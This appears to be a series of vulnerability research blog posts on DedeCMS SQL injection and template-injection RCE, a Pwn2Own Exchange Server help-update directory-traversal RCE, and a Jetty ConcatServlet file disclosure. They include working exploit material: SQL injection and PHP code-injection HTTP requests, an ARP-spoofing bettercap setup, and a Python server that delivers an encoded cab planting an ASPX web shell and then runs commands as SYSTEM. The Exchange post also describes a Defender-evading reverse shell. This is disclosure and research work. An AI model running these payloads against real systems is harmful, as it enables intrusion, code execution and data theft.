        CheckSql($sql, $this->getSQLType($sql)); // 5.7前版本仅做了SELECT的过滤,对UPDATE、INSERT、DELETE等语句并未过滤。
         
        $this->queryString = $sql;
    }

But we can avoid this function by using another function that also calls mysqli_query such as GetTableFields:

    //获取特定表的信息
    public function GetTableFields($tbname, $id = "me")
    {
        global $dsqli;
        if (!$dsqli->isInit) {
            $this->Init($this->pconnect);
        }
        $prefix = "#@__";
        $tbname = str_replace($prefix, $GLOBALS['cfg_dbprefix'], $tbname);
        $query = "SELECT * FROM {$tbname} LIMIT 0,1";
        $this->result[$id] = mysqli_query($this->linkID, $query);
    }

This is not, just any old sink though. This one doesn’t use quotes, so we don’t need to break out of a quoted string, which is required since our input will flow through the _RunMagicQuotes function. Usage of GetTableFields in a dangerous way can be found in the dede/sys_data_done.php script at line [10]:

if ($dopost == 'bak') {
    if (empty($tablearr)) {
        ShowMsg('你没选中任何表!', 'javascript:;');
        exit();
    }
    if (!is_dir($bkdir)) {
        MkdirAll($bkdir, $cfg_dir_purview);
        CloseFtp();
    }

    if (empty($nowtable)) {
        $nowtable = '';
    }
    if (empty($fsize)) {
        $fsize = 20480;
    }
    $fsizeb = $fsize * 1024;
    
    //第一页的操作
    if ($nowtable == '') {
        //...
    }
    //执行分页备份
    else {
        $j = 0;
        $fs = array();
        $bakStr = '';

        //分析表里的字段信息
        $dsql->GetTableFields($nowtable); // 10
GET /dede/sys_data_done.php?dopost=bak&tablearr=1&nowtable=%23@__vote+where+1=sleep(5)--+& HTTP/1.1
Host: target
Cookie: PHPSESSID=jr66dkukb66aifov2sf2cuvuah;

But of course, this requires administrator privileges, which is not interesting to us (without an elevation of privilege or authentication bypass).

Finding a pre-authenticated endpoint

If we try a little harder though, we can find some more interesting code in include/filter.inc.php in the slightly older version: DedeCMS-V5.7-UTF8-SP2.tar.gz.

$magic_quotes_gpc = ini_get('magic_quotes_gpc');
function _FilterAll($fk, &$svar)
{
    global $cfg_notallowstr, $cfg_replacestr, $magic_quotes_gpc;
    if (is_array($svar)) {
        foreach ($svar as $_k => $_v) {
            $svar[$_k] = _FilterAll($fk, $_v);
        }
    } else {
        if ($cfg_notallowstr != '' && preg_match("#" . $cfg_notallowstr . "#i", $svar)) {
            ShowMsg(" $fk has not allow words!", '-1');
            exit();
        }
        if ($cfg_replacestr != '') {
            $svar = preg_replace('/' . $cfg_replacestr . '/i', "***", $svar);
        }
    }
    if (!$magic_quotes_gpc) {
        $svar = addslashes($svar);
    }
    return $svar;
}

/* 对_GET,_POST,_COOKIE进行过滤 */
foreach (array('_GET', '_POST', '_COOKIE') as $_request) {
    foreach ($$_request as $_k => $_v) {
        ${$_k} = _FilterAll($_k, $_v);
    }
}

Can you see what’s wrong here? The code sets $magic_quotes_gpc from the configuration. If it’s not set in the php.ini then addslashes is called. But we can fake that it’s set by using $magic_quotes_gpc in a request and re-writing that variable and avoiding the addslashes!

This code is used for submitting feedback which is performed by unauthenticated users. I decided to have a look and I found the following sink in /plus/bookfeedback.php:

else if($action=='send')
{
    //...
    //检查验证码
    if($cfg_feedback_ck=='Y')
    {
        $validate = isset($validate) ? strtolower(trim($validate)) : '';
        $svali = strtolower(trim(GetCkVdValue()));
        if($validate != $svali || $svali=='')
        {
            ResetVdValue();
            ShowMsg('验证码错误!','-1');
            exit();
        }
    }

    //...
    if($comtype == 'comments')
    {
        $arctitle = addslashes($arcRow['arctitle']);
        $arctitle = $arcRow['arctitle'];
        if($msg!='')
        {
            $inquery = "INSERT INTO `#@__bookfeedback`(`aid`,`catid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                   VALUES ('$aid','$catid','$username','$bookname','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";  // 11
            $rs = $dsql->ExecuteNoneQuery($inquery); // 12
            if(!$rs)
            {
                echo $dsql->GetError();
                exit();
            }
        }
    }

At [11] we can see that the code builds up a query using attacker controlled input such as $catid and $bookname. It’s possible to land in this sink and bypass the addslashes to trigger an unauthenticated SQL injection:

POST /plus/bookfeedback.php?action=send&fid=1337&validate=FS0Y&isconfirm=yes&comtype=comments HTTP/1.1
Host: target
Cookie: PHPSESSID=0ft86536dgqs1uonf64bvjpkh3;
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

magic_quotes_gpc=1&catid=1',version(),concat('&bookname=')||'s&msg=pwn

We have a session cookie set because it’s tied to the captcha code which is stored in an unauthentciated session:

I couldn’t bypass CheckSql (un)fortunately, but I could side step and leak some data from the database because I could use both the $catid and $bookname for the injection and then (ab)use a second order:

else if($action=='quote')
{
    $row = $dsql->GetOne("Select * from `#@__bookfeedback` where id ='$fid'");
    require_once(DEDEINC.'/dedetemplate.class.php');
    $dtp = new DedeTemplate();
    $dtp->LoadTemplate($cfg_basedir.$cfg_templets_dir.'/plus/bookfeedback_quote.htm');
    $dtp->Display();
    exit();
}

All I had to do was guess the $fid (primary key) and check that it matched by injected $msg of pwn and if it did, I knew that the result from the injection was revealed to me:

However this SQL injection was limited because I couldn’t use select, sleep or benchmark keywords since they were denyed by the CheckSql function. Since finding that vulnerability though, it appears that the developers removed the /plus/bookfeedback.php file in the latest release but the core issue of bypassing addslashes still exists. At this point if we’re going to find critical vulnerabilities we need to focus on a different bug class.

ShowMsg Template Injection Remote Code Execution Vulnerability

  • CVSS: 9.8 (/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • Version: 5.8.1 pre-release

Summary

An unauthenticated attacker can execute arbitrary code against vulnerable versions of Dedecms.

Vulnerability Analysis

Inside of the plus/flink.php script:

if ($dopost == 'save') {
    $validate = isset($validate) ? strtolower(trim($validate)) : '';
    $svali = GetCkVdValue();
    if ($validate == '' || $validate != $svali) {
        ShowMsg('验证码不正确!', '-1'); // 1
        exit();
    }

At [1] we can observe a call to ShowMsg which is defined in include/common.func.php:

function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
    if (empty($GLOBALS['cfg_plus_dir'])) {
        $GLOBALS['cfg_plus_dir'] = '..';
    }
    if ($gourl == -1) { // 2
        $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; // 3
        if ($gourl == "") {
            $gourl = -1;
        }
    }

    $htmlhead = "
    <html>\r\n<head>\r\n<title>DedeCMS提示信息
    ...
    <script>\r\n";
    $htmlfoot = "
    </script>
    ...
    </body>\r\n</html>\r\n";

    $litime = ($limittime == 0 ? 1000 : $limittime);
    $func = '';

    //...

    if ($gourl == '' || $onlymsg == 1) {
        //...
    } else {
        //...
        $func .= "var pgo=0;
      function JumpUrl(){
        if(pgo==0){ location='$gourl'; pgo=1; }
      }\r\n";
        $rmsg = $func;
        //...
        if ($onlymsg == 0) {
            if ($gourl != 'javascript:;' && $gourl != '') {
                $rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
                $rmsg .= "<br/></div>\");\r\n";
                $rmsg .= "setTimeout('JumpUrl()',$litime);";
            } else {
                //...
            }
        } else {
            //...
        }
        $msg = $htmlhead . $rmsg . $htmlfoot;
    }

    $tpl = new DedeTemplate();
    $tpl->LoadString($msg); // 4
    $tpl->Display(); // 5
}

We can see at [2] that if $gourl is set to -1 then the attacker can control the $gourl variable at [3] via the referer header. That variable is unfiltered and embedded twice in the $msg variable which is loaded by the LoadString call at [4] and parsed by the Display call at [5]. Inside of include/dedetemplate.class.php we find:

class DedeTemplate
{
    //...
    public function LoadString($str = '')
    {
        $this->sourceString = $str; // 6
        $hashcode = md5($this->sourceString);
        $this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc";
        $this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";
        $this->ParseTemplate();
    }
    
    //...
    public function Display()
    {
        global $gtmpfile;
        extract($GLOBALS, EXTR_SKIP);
        $this->WriteCache(); // 7
        include $this->cacheFile; // 9
    }

At [6] the sourceString is set with the attacker-controlled $msg. Then at [7] WriteCache is called:

    public function WriteCache($ctype = 'all')
    {
        if (!file_exists($this->cacheFile) || $this->isCache == false
            || (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile)))
        ) {
            if (!$this->isParse) {
                //...
            }
            $fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");
            flock($fp, 3);
            $result = trim($this->GetResult()); // 8
            $errmsg = '';     
            if (!$this->CheckDisabledFunctions($result, $errmsg)) { // 9
                fclose($fp);
                @unlink($this->cacheFile);
                die($errmsg);
            }
            fwrite($fp, $result);
            fclose($fp);
            //...
        }

At [8] the code calls GetResult which returns the value in sourceString to set the $result variable which now contains attacker-controlled input. At [9] the CheckDisabledFunctions function is called on the $result variable. Let’s see what CheckDisabledFunctions is all about:

    public function CheckDisabledFunctions($str, &$errmsg = '')
    {
        global $cfg_disable_funs;
        $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
        // 模板引擎增加disable_functions
        if (!defined('DEDEDISFUN')) {
            $tokens = token_get_all_nl($str);
            $disabled_functions = explode(',', $cfg_disable_funs);
            foreach ($tokens as $token) {
                if (is_array($token)) {
                    if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
                        $errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';
                        return false;
                    }
                }
            }
        }
        return true;
    }

Well. It’s possible for an attacker to bypass this deny list in several ways with some creativity, write malicious php into the temporary file and finally reach the include in Display at [9] to execute arbitrary code.

Proof of Concept

It’s possible to borrow their own code and call dangerous functions, but there are several generic ways to bypass the deny list anyway. The referer header isn’t checked for double quotes so the following payload will work:

GET /plus/flink.php?dopost=save&c=id HTTP/1.1
Host: target
Referer: <?php "system"($c);die;/*

The following (non-exhaustive) list paths can reach the vulnerability:

  1. /plus/flink.php?dopost=save
  2. /plus/users_products.php?oid=1337
  3. /plus/download.php?aid=1337
  4. /plus/showphoto.php?aid=1337
  5. /plus/users-do.php?fmdo=sendMail
  6. /plus/posttocar.php?id=1337
  7. /plus/vote.php?dopost=view
  8. /plus/carbuyaction.php?do=clickout
  9. /plus/recommend.php

Reporting

I found this vulnerability around April 2021 but decided to sit on it since it only impacted the pre-release and not the release version. After months of inactivity on the repo, I decided to report the bug on 23rd of September to [email protected] and 2 days later a silent patch was released that addressed the bug:

Due to this behaviour from the developer, I decided to not report the rest of the RCE vulnerabilities that impact the release version. Whilst I agree that a CVE is not required, I do think a security note should have been added to the commit at the very least.

Conclusion

I really like auditing Chinese software because the developers tend to think very differently to westerner developers. There logic flow is more fluid and as a security auditor, it requires you to think on your feet and change stratagies as you see new patterns in the code emerging.

It’s a simple reminder that even if a product has been audited to death, do not lose faith in yourself. Your next RCE is right around the corner even if you do not speak Chinese.

References

Pwn2Own Vancouver 2021 :: Microsoft Exchange Server Remote Code Execution

25 August 2021 at 14:00

Exchange Online

In mid-November 2020 I discovered a logical remote code execution vulnerability in Microsoft Exchange Server that had a bizarre twist - it required a morpheus in the middle (MiTM) attack to take place before it could be triggered. I found this bug because I was looking for calls to WebClient.DownloadFile in the hope to discover a server-side request forgery vulnerability since in some environments within exchange server, that type of vulnerability can have drastic impact. Later, I found out that SharePoint Server was also affected by essentially the same code pattern.

TL; DR; This post is a quick breakdown of the vulnerability I used at Pwn2Own Vancouver 2021 to partially win the entry for Microsoft Exchange Server.

Vulnerability Summary

An unauthenticated attacker in a privileged network position such as MiTM attack can trigger a remote code execution vulnerability when an administrative user runs the Update-ExchangeHelp or Update-ExchangeHelp -Forcecommand in the Exchange Management Shell.

Vulnerability Analysis

Inside of the Microsoft.Exchange.Management.dll file the Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand class is defined:

protected override void InternalProcessRecord()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        ex = this.helpUpdater.UpdateHelp();    // 1
    }
    //...

At [1] the code calls the HelpUpdater.UpdateHelp method. Inside of the Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater class we see:

internal UpdatableExchangeHelpSystemException UpdateHelp()
{
    double num = 90.0;
    UpdatableExchangeHelpSystemException result = null;
    this.ProgressNumerator = 0.0;
    if (this.Cmdlet.Force || this.DownloadThrottleExpired())
    {
        try
        {
            this.UpdateProgress(UpdatePhase.Checking, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            string path = this.LocalTempBase + "UpdateHelp.$$$\\";
            this.CleanDirectory(path);
            this.EnsureDirectory(path);
            HelpDownloader helpDownloader = new HelpDownloader(this);
            helpDownloader.DownloadManifest();    // 2

This function performs a few actions. The first is at [2] when DownloadManifest is called. Let’s take a look at Microsoft.Exchange.Management.UpdatableHelp.HelpDownloader.DownloadManifest:

internal void DownloadManifest()
{
    string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
    if (!this.helpUpdater.Cmdlet.Abort)
    {
        this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));  // 3
    }
}

At [3] the code is calling AsyncDownloadFile using a the ManifestUrl. The ManifestUrl is set when the LoadConfiguration method is called from InternalValidate:

protected override void InternalValidate()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        this.helpUpdater.LoadConfiguration();   // 4
    }
internal void LoadConfiguration()
{
    //...
    RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
    if (registryKey3 == null)
    {
        registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
    }
    if (registryKey3 != null)
	{
        try
		{
            this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString();  // 5

At [4] the code calls LoadConfiguration during the validation of the arguments to the cmdlet. This sets the ManifestUrl to http://go.microsoft.com/fwlink/p/?LinkId=287244 if it does not exist in the registry hive: HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp at [5]. By default, it does not so the value is always http://go.microsoft.com/fwlink/p/?LinkId=287244.

Back to AsyncDownloadFile at [3] this method will use the WebClient.DownloadFileAsync API to download a file onto the filesystem. Since we cannot control the local file path, there is no vuln here. Later in UpdateHelp, we see the following code:

//...
if (!this.Cmdlet.Abort)
{
    UpdatableHelpVersionRange updatableHelpVersionRange = helpDownloader.SearchManifestForApplicableUpdates(this.CurrentHelpVersion, this.CurrentHelpRevision); // 6
    if (updatableHelpVersionRange != null)
    {
        double num2 = 20.0;
        this.ProgressNumerator = 10.0;
        this.UpdateProgress(UpdatePhase.Downloading, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
        string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);
        if (array.Length != 0)  // 7
        {
            this.Cmdlet.WriteVerbose(UpdatableHelpStrings.UpdateApplyingRevision(updatableHelpVersionRange.HelpRevision, string.Join(", ", array)));
            helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl);  // 8
            if (this.Cmdlet.Abort)
            {
                return result;
            }
            this.ProgressNumerator += num2;
            this.UpdateProgress(UpdatePhase.Extracting, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            HelpInstaller helpInstaller = new HelpInstaller(this, array, num);
            helpInstaller.ExtractToTemp();  // 9
            //...

There is a lot to unpack here (excuse the pun). At [6] the code searches through the downloaded manifest file for a specific version or version range and ensures that the version of Exchange server falls within that range. The check also ensures that the new revision number is higher than the current revision number. If these requirements are satisfied, the code then proceeds to [7] where the culture is checked. Since I was targeting the English language pack, I set this to en so that a valid path can be later constructed. Then at [8] the CabinetUrl is downloaded and stored. This is a .cab file specified in the xml manifest file.

Finally at [9] the cab file is extracted using Microsoft.Exchange.Management.UpdatableHelp.HelpInstaller.ExtractToTemp method:

internal int ExtractToTemp()
{
    this.filesAffected = 0;
    this.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    this.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    bool embedded = false;
    string filter = "";
    int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);   // 10
    this.cabinetFiles = new Dictionary<string, List<string>>();
    this.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);
    this.filesAffected = result;
    return result;
}

At [10] the code calls Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles from the Microsoft.Exchange.CabUtility.dll which is a mix mode assembly containing native code to extract cab files with the exported function ExtractCab. Unfortunately, this parser does not register a callback function before extraction to verify files do not contain a directory traversal. This allowed me to write arbitrary files to arbitrary locations.

Exploitation

A file write vulnerability does not necessarily mean remote code execution, but in the context of web applications it quite often does. The attack I presented at Pwn2Own wrote to the C:/inetpub/wwwroot/aspnet_client directory and that allowed me to make a http request for the shell to execute arbitrary code as SYSTEM without authentication.

Let us review the setup so we can visualize the attack.

Setup

The first step will require you to perform an ARP spoof against the target system. For this stage I choose to use bettercap, which allows you to define caplets that can automate itself. I think the last time I did a targeted MiTM attack was about 12 years ago! Here is the contents of my poc.cap file which sets up the ARP spoof and a proxy script to intercept and respond to specific http requests:

set http.proxy.script poc.js
http.proxy on
set arp.spoof.targets 192.168.0.142
events.stream off
arp.spoof on

The poc.js file is the proxy script that I wrote to intercept the targets request and redirect it to the attackers hosted configuration file at http://192.168.0.56:8000/poc.xml.

function onLoad() {
    log_info("Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability")
    log_info("Found by Steven Seeley of Source Incite")
}

function onRequest(req, res) {
    log_info("(+) triggering mitm");
    var uri = req.Scheme + "://" +req.Hostname + req.Path + "?" + req.Query;
    if (uri === "http://go.microsoft.com/fwlink/p/?LinkId=287244"){
        res.Status = 302;
        res.SetHeader("Location", "http://192.168.0.56:8000/poc.xml");
    }
}

This poc.xml manifest file contains the CabinetUrl hosting the malicious cab file along with the Version range that the update is targeting:

<ExchangeHelpInfo>
  <HelpVersions>
    <HelpVersion>
      <Version>15.2.1.1-15.2.999.9</Version>
      <Revision>1</Revision>
      <CulturesUpdated>en</CulturesUpdated>
      <CabinetUrl>http://192.168.0.56:8000/poc.cab</CabinetUrl>
    </HelpVersion>
  </HelpVersions>
</ExchangeHelpInfo>

I packaged up the manifest and poc.cab file delivery process into a small little python http server, poc.py that will also attempt access to the poc.aspx file with a command to be executed as SYSTEM:

import sys
import base64
import urllib3
import requests
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CabRequestHandler(SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        if self.path.endswith("poc.xml"):
            print("(+) delivering xml file...")
            xml = """<ExchangeHelpInfo>
  <HelpVersions>
    <HelpVersion>
      <Version>15.2.1.1-15.2.999.9</Version>
      <Revision>%s</Revision>
      <CulturesUpdated>en</CulturesUpdated>
      <CabinetUrl>http://%s:8000/poc.cab</CabinetUrl>
    </HelpVersion>
  </HelpVersions>
</ExchangeHelpInfo>""" % (r, s)
            self.send_response(200)
            self.send_header('Content-Type', 'application/xml')
            self.send_header("Content-Length", len(xml))
            self.end_headers()
            self.wfile.write(str.encode(xml))
        elif self.path.endswith("poc.cab"):
            print("(+) delivering cab file...")
            # created like: makecab /d "CabinetName1=poc.cab" /f files.txt
            # files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
            # poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%> 
            stage_2  = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"
            stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"
            stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"
            stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="
            p = base64.b64decode(stage_2.encode('utf-8'))
            self.send_response(200)
            self.send_header('Content-Type', 'application/x-cab')
            self.send_header("Content-Length", len(p))
            self.end_headers()
            self.wfile.write(p)
            return

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print("(+) usage: %s <target> <connectback> <revision> <cmd>" % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0])
        sys.exit(-1)
    t = sys.argv[1]
    s = sys.argv[2]
    port = 8000
    r = sys.argv[3]
    c = sys.argv[4]
    print("(+) server bound to port %d" % port)
    print("(+) targeting: %s using cmd: %s" % (t, c))
    httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)
    handlerthr = Thread(target=httpd.serve_forever, args=())
    handlerthr.daemon = True
    handlerthr.start()
    p = { "c" : "/c %s" % c }
    try:
        while 1:
            req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)
            if req.status_code == 200:
                break
        print("(+) executed %s as SYSTEM!" % c)
    except KeyboardInterrupt:
        pass

On each attack attempt, the Revision number needs to be increased because the code will write the value into the registry and after downloading the manifest file, will verify that the file contains a higher Revision number before proceeding to download and extract the cab file.

Bypassing Windows Defender

Executing mspaint is kool and all, but for Pwn2Own we needed a Defender bypass to pop thy shell. After Orange Tsai dropped the details of his ProxyLogin exploit, Microsoft decided to attempt to detect asp.net web shells. So I took a different route than Orange by compiling a custom binary that executed a reverse shell and dropping it onto disk and executing it to side step Defender.

Example Attack

We start by running Bettercap with the poc.cap caplet file:

researcher@pluto:~/poc-exchange$ sudo bettercap -caplet poc.cap
bettercap v2.28 (built for linux amd64 with go1.13.12) [type 'help' for a list of commands]

[12:23:13] [sys.log] [inf] Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability
[12:23:13] [sys.log] [inf] Found by Steven Seeley of Source Incite
[12:23:13] [sys.log] [inf] http.proxy enabling forwarding.
[12:23:13] [sys.log] [inf] http.proxy started on 192.168.0.56:8080 (sslstrip disabled)

Now we ping the target (to update the targets cached Arp table) and run the poc.py and wait for an administrative user to run Update-ExchangeHelp or Update-ExchangeHelp -Force in the Exchange Management Console (EMC) (-Force is required if the Update-ExchangeHelp command has been ran within the last 24 hours):

researcher@pluto:~/poc-exchange$ ./poc.py 
(+) usage: ./poc.py <target> <connectback> <revision> <cmd>
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 "whoami > c:/poc.txt"

researcher@pluto:~/poc-exchange$ ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) server bound to port 8000
(+) targeting: 192.168.0.142 using cmd: mspaint
(+) delivering xml file...
(+) delivering cab file...
(+) executed mspaint as SYSTEM!

Conclusion

It’s not the first time that a MiTM attack has been used at Pwn2Own and it was nice to find a vulnerability that had no collision with other researchers at the competition. This was only possible by finding a new vector and/or surface to hunt vulnerabilities in within Exchange Server. Logical vulnerabilities are always interesting because it almost always means that exploitation is given, and those same issues are very hard to discover with traditional automated tools. It is argued that all web vulns are in fact, logical in nature. Even web-based injection vulns, since they require no manipulation of memory, and the attack can be repeated ad hoc.

The impact of this vulnerability in Exchange server is quite high since the EMC connects via PS-Remoting to the IIS service which is configured to run as SYSTEM. This is not the case for SharePoint Server where the SharePoint Management Shell (SMS) is directly impacted, achieving code execution as the user running the SMS.

Microsoft patched this issue as CVE-2021-31209 and we recommend you deploy the patch immediately if you have not done so already.

References

Full Stack Web Attack 2021 :: Zero Day Give Away

13 July 2021 at 14:00

This year I released a challenge for the Full Stack Web Attack class:

Challenge

Whilst several people had solved the challenge, no one seemed to have discovered the zero-day that I left lurking! In this blog post I am going to disclose the details about the bug chain. This vulnerability was patched as CVE-2021-28169 and under certain environments it can lead to an elevation of privilege/access or even remote code execution!

By the way - If you didn’t make the class in July 2021 don’t worry we will be running another class later in the year.

Jetty Web Server

As it turns out, the jetty-servlets library contained a vulnerability in the org.eclipse.jetty.servlets.ConcatServlet servlet. If exposed, this could allow an attacker to disclose sensitive files.

Jetty Utility Servlets ConcatServlet Double Decoding Information Disclosure Vulnerability

Inside of the doGet method we see the following code:

/*     */   protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/*  88 */     String query = request.getQueryString();
/*     */     ...
/*  95 */     List<RequestDispatcher> dispatchers = new ArrayList<RequestDispatcher>();
/*  96 */     String[] parts = query.split("\\&");
/*  97 */     String type = null;
/*  98 */     for (String part : parts) {
/*     */       
/* 100 */       String path = URIUtil.canonicalPath(URIUtil.decodePath(part)); // 1
/*     */       ...       
/* 108 */       if (startsWith(path, "/WEB-INF/") || startsWith(path, "/META-INF/")) { // 2
/*     */         
/* 110 */         response.sendError(404);
/*     */         
/*     */         return;
/*     */       } 
/*     */       ...
/* 128 */       RequestDispatcher dispatcher = getServletContext().getRequestDispatcher(path); // 3
/* 129 */       if (dispatcher != null) {
/* 130 */         dispatchers.add(dispatcher);
/*     */       }
/*     */     } 
/* 133 */     if (type != null) {
/* 134 */       response.setContentType(type);
/*     */     }
/* 136 */     for (RequestDispatcher dispatcher : dispatchers)
/*     */     {
/* 138 */       dispatcher.include(request, response); // 4
/*     */     }
/*     */   }

At [1] the code does a url decode and then attempts to normalize the attacker supplied path. Then at [2] there is a check that the path doesn’t start with “/WEB-INF/” or “/META-INF/”. Later at [3] the RequestDispatcher is made and finally at [4] the include is triggered.

The problem is that the check at [2] can be bypassed because the RequestDispatcher will also handle url decoding. So an attacker can double url encode either a traversal or the WEB-INF/META-INF strings in their controlled paths. This will instantiate a valid dispatcher and leak contents of an attacker controlled file from the ROOT of the web application.

Impact

The vulnerability is limited to a file disclosure from the web application ROOT directory. However, in some contexts this may allow an attacker to escalate further. Let’s use two examples:

  1. Spring - Elevation of privilege/access

In this environment, it’s possible to leak sensitive properties from the application.properties file such as the spring.datasource.url, spring.elasticsearch.rest.password, spring.h2.console.settings.web-admin-password, spring.influx.password, spring.ldap.password, etc.

  1. Apache Shiro - Remote Code Execution

In this environment, it’s possible to leak the shiro.ini file which contains securityManager.rememberMeManager.cipherKey. This key can be used to gain remote code execution against the application via deserialization in the rememberMe cookie.

Proof of Concept

If your testing on your own web application, modify your web.xml to include the vulnerable servlet:

  <servlet>
    <servlet-name>Concat</servlet-name>
    <servlet-class>org.eclipse.jetty.servlets.ConcatServlet</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>Concat</servlet-name>
    <url-pattern>/concat</url-pattern>
  </servlet-mapping>

Or else, you can test it on the challenge image:

docker run --name fswa -it --rm -p 80:8080 registry.gitlab.com/source-incite/fswa-challenge/rceme:2021

Now we can leak the key using the vulnerability:

Triggering CVE-XXXX-YYYY

Excuse me while I ignore all the username and passwords in the shiro.ini file! As it turns out, Apache Shiro uses commons-collections v3.2.2 and commons-beanutils v1.9.4 in their classpath. This is enough for us to generate a gadget chain from ysoserial.

With that wrapped around an encryption layer, we can achieve remote code execution:

researcher@incite:~$ java Poc 
(+) Usage: java Poc <securityManager.rememberMeManager.cipherKey> <command>

researcher@incite:~$ java Poc kPH+bIxk5D2deZiIxcaaaA== "touch /tmp/pwn"
(+) using key kPH+bIxk5D2deZiIxcaaaA==
